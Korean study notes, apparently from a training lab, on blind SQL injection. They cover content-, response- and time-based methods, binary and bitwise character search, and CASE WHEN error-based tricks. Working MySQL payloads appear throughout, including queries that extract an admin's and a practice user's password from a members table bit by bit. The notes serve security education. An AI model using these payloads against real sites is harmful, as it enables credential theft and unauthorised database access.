Blind Injection -2

1. 웹사이트 자체 에러 페이지가 뜨지 않을 때

2. 데이터 베이스 응답이 아닌 서버 응답으로 나올 때

3. Order by절이 불가능할 때

 

다양한 Blind 공격 방법

Content Blind (기준문자)

Response Blind (응답메세지)

 

다양한 Blind 탐색 기법

순차 탐색

이진 탐색

비트연산 탐색

 

Blind 공격

핵심은 서버의 참과 거짓의 응답을 가지고 판별

Content Based 게시판 자체에서 참/거짓을 판별할 수 있는 데이터가 있는 경우

ex) test라는 기준문자를 가지고 검색을 하였을 때

참 : test가 포함된 구문이 출력

거짓 : 아무 문자도 출력이 되지 않음

 

Response Based

서버의 응답사이즈를 보고 결정

참 : 게시글이 존재하지 않습니다

거짓 : 페이지 에러 안내

 

Time Based

어떠한 상황에서도 참/거짓을 판별할 수 없고,

응답값도 없을 경우 네트워크 트래픽을 이용하여 강제로 참/거짓을 판별

참 : 게시글이 존재하지 않습니다

거짓 : 5~10초 정도 지연시간이 발생 후 결과 출력

시간적으로 가장 오래걸리는 공격 기법 중 하나

 

탐색 방법

순차 탐색

1~10, a~z, A~Z ... 특수문자 포함

하나씩 대입하여 탐색 기법 완성

 

이진 탐색

 0 1 2 3 4 5 6 7 8 9

a b c d e f g h i j k l m n o p q r s t u v w x y z

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

! @ # $ % ^ & * ( ) - _ = + ' ~ [ ] { } < > ? / \ |

 

ASCII 코드

33 ~ 126까지 아스키 코드 값을 부여

80부터 시작이 가운데부터 시작이겠지만, 보통 97(a)부터 시작

 

'board'라는 데이터베이스의 'members'라는 테이블에서

'id'가 'admin'인 'password'칼럼의 '첫'문자의 '아스키코드'가 '80'보다 '큰'가요 ?

admin패스워드가 @dmin이라고 한다면

SELECT ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))>80

1. SELECT password FROM board.members WHERE id='admin' > @dmin

2. substr,1,1 + @dmin ==> @

3. ascii(@) ==> 64

4. 64>80

5. 거짓

SELECT ascii('a')		# 문자를 숫자로 변환
SELECT char('97')		# 숫자를 문자로 변환

 

members 테이블에서 새로운 데이터를 추가하였습니다.

Content Blind를 통해서 추가된 회원의 정보를 추출하세요

id ascii값이 맞을 경우 1 match로 뜬다

id ascii값이 틀릴 경우 0 match로 뜬다

ascii(substr((SELECT id FROM board.members WHERE idx=6),1,1))=108
ascii(substr((SELECT id FROM board.members WHERE idx=6),2,1))=101
ascii(substr((SELECT id FROM board.members WHERE idx=6),3,1))=101
ascii(substr((SELECT id FROM board.members WHERE idx=6),4,1))=106
ascii(substr((SELECT id FROM board.members WHERE idx=6),5,1))=105
ascii(substr((SELECT id FROM board.members WHERE idx=6),6,1))=101
ascii(substr((SELECT id FROM board.members WHERE idx=6),7,1))=117
ascii(substr((SELECT id FROM board.members WHERE idx=6),8,1))=110

ascii(substr((SELECT password FROM board.members WHERE idx=6),1,1))=103

 

 

0x21 =>33    0010 0001         

> 아스키 코드는 무조건 7bit

0x7e =>126  0111 1110

 

ascii('d') = 100 = 110 0100

첫 번째 자리를 1bit와 AND하면 1인가요 ?

두 번째 자리를 1bit와 AND하면 1인가요 ?

세 번째 자리를 1bit와 AND하면 1인가요 ?

네 번째 자리를 1bit와 AND하면 1인가요 ?

다섯 번째 자리를 1bit와 AND하면 1인가요 ?

여섯 번째 자리를 1bit와 AND하면 1인가요 ?

일곱 번째 자리를 1bit와 AND하면 1인가요 ?

 

110 0110 

xxx xxx0

           1

----------------- and연산

           0

 

xxx xx1x

          10

-----------------and연산

         1

 

xxx x1xx

         100

------------------and연산

     1

 

'board'라는 데이터 베이스의 'members' 테이블에서 'id'가 'admin'인 'password'컬럼의

첫 문자의 아스키 코드 값을 1과 and 비트 연산을 하면 1과 같나요?

SELECT ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&1=1

자리수 계산하기

0100 0000 & 0000 0010 == 1?

ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&1=1	# 거짓 : 0

0100 0000 & 0000 0100 == 1?

0100 0000 & 0000 1000 == 1?

ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&2=1	거짓 : 0
ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&4=4	거짓 : 0
ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&8=8	거짓 : 0
ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&16=16	거짓 : 0
ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&32=32	거짓 : 0
ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&64=64	참 : 1

0100 0000 > @

ctrl + u로 인코딩 한 후 결과 확인

'admin' 비밀번호 찾기

110 0100 >> 10진수로 변경 : 100

SELECT char(100) : d

 

gugucon의 비밀번호를 알아보자

1. 비밀번호 갯수 알아보기

비밀번호가 5글자라는것을 알게됐다.

011 1001 > gugucon의 첫번째 비밀번호

011 1001 ( 57 ) > 9

011 1001 > gugucon의 두번째 비밀번호

011 1001 ( 57 ) > 9

110 0011 > gugucon의 세번째 비밀번호

110 0011 ( 99 ) > c

011 0000 > gugucon의 네번째 비밀번호

011 0000 (48) > 0

110 1110 > gugucon의 다섯번째 비밀번호

110 1110 ( 110 ) > n

비밀번호 추출 성공

 

 

Response Blind Based

>> 서버의 응답값의 용량

400 // 200 // 500

404 : not found

200 : OK 

501 : GATEWAY - 서버 에러

 

CASE WHEN 구문을 사용해서 동작 == if 문

if(조건){ 참 }

else{거짓}

 

CASE WHEN 조건 THEN 참 ELSE 거짓 END

SELECT CASE WHEN 1=1 THEN (SELECT 1) ELSE (SELECT 2) END;

SELECT CASE WHEN 1=1 THEN (SELECT 'TRUE') ELSE (SELECT 'FALSE') END;

RESPONSE가 타 블라인드보다 까다로운점

반드시 구문 에러가 없어야한다

 

DBMS에 SQL 쿼리문을 입력

"SELECT * FROM table" 이라는 SQL 구문을 입력하였을 때

1. DBMS가 구문 분석 > 문법에 오류가 있는가 ? , 자료형이 잘 맞는가 ?

2. 컴파일

3. 실행 > [오류]

다중 쿼리 오류

나누기 0

SELECT CASE WHEN 1=1 THEN 'TRUE' ELSE(SELECT 'a' UNION SELECT 'b') END;

SELECT CASE WHEN 1=1 THEN 'TRUE' ELSE(SELECT 1/0) END;		# TRUE
SELECT CASE WHEN 1=2 THEN 'TRUE' ELSE(SELECT 1/0) END;		# FALSE

'and 1=(CASE WHEN 1=1 THEN 1 ELSE (SELECT 'a' union SELECT 'b') END)#	TRUE
'and 1=(CASE WHEN 1=2 THEN 1 ELSE (SELECT 'a' union SELECT 'b') END)#	FALSE

왼쪽 ( 참 ) // 오른쪽 ( 실패 )